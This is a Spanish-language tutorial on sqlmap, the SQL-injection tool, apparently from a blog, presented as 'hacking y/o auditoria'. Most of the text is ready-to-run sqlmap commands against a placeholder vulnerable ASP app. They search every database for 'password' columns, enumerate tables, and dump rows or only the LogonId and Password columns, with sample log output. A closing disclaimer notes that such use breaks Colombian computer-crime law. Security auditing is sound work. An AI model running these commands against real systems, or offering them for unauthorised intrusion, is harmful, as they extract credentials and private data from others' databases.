SqlMap "Hacking y/o Auditoria"


Sqlmap es una herramienta de código abierto para realizar pentesting a bases de datos, esta herramienta automatiza el proceso de detectar y explotar los defectos a través de inyecciones SQL. Viene con un motor de detección muy potente, con muchas características para las pruebas de penetración y una amplia gama de interruptores de duración de la toma de huellas dactilares de bases de datos.
Es por esto que cuando se quiera auditar alguna base de datos SqlMap es una muy buena opción para realizar este tipo de auditorías. Así que asumiendo que tienen alguna base de datos susceptible de realizar alguna inyección SQL, los siguientes comandos le ayudaran a verificar la seguridad de la misma.

Para buscar todas las bases de datos con 'password'  
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -C 'password' 

Para buscar en una base de datos específica el 'password'
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -D 'MYDATABASE' -C 'password'
 
 **note, that once sqlmap was done with 'MYDATABASE' it checked the rest of the DBs**
 
 [15:28:17] [INFO] fetching columns LIKE 'password' for table 'dbo.mytable' on database 'MYDATABASE'

Después de un tiempo, es probable tener cosas como esta:
 [15:27:38] [INFO] retrieved: 2 

 [15:28:22] [INFO] retrieved: Password 

 [15:29:18] [INFO] retrieved: PrintPasswords 

Ahora que se sabe que existe una columna de MyDatabase y dbo.MyTable para ver si hay algo bueno allí solo hay que revisarlo. Lo más probable es también una identificación de usuario o LogonID en que tenemos que extraer también.
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --columns -T dbo.mytable -D MYDATABASE --time-sec=1 

También puede simplemente hacer un volcado si quieres empezar a capturar los datos.
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1 

Si lo que desea para sacar un cierto número de filas, también se puede dar una instrucción de inicio y un interruptor de parada (- start = 1 - Parada = 10) a veces funciona, a veces no.
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10 

Si lo que desea es sacar sólo a algunas columnas usted puede hacer algo como esto.
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -C LogonId,Password -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10

Estoy seguro de que la forma más sencilla de entender esta herramienta es ver un ejemplo práctico, aunque claramente viola la ley de delitos informáticos en Colombia, ilustra muy bien las utilidades de SqlMap, usted se hace responsable por lo que hace o realiza con esta información que únicamente tiene fines educativos.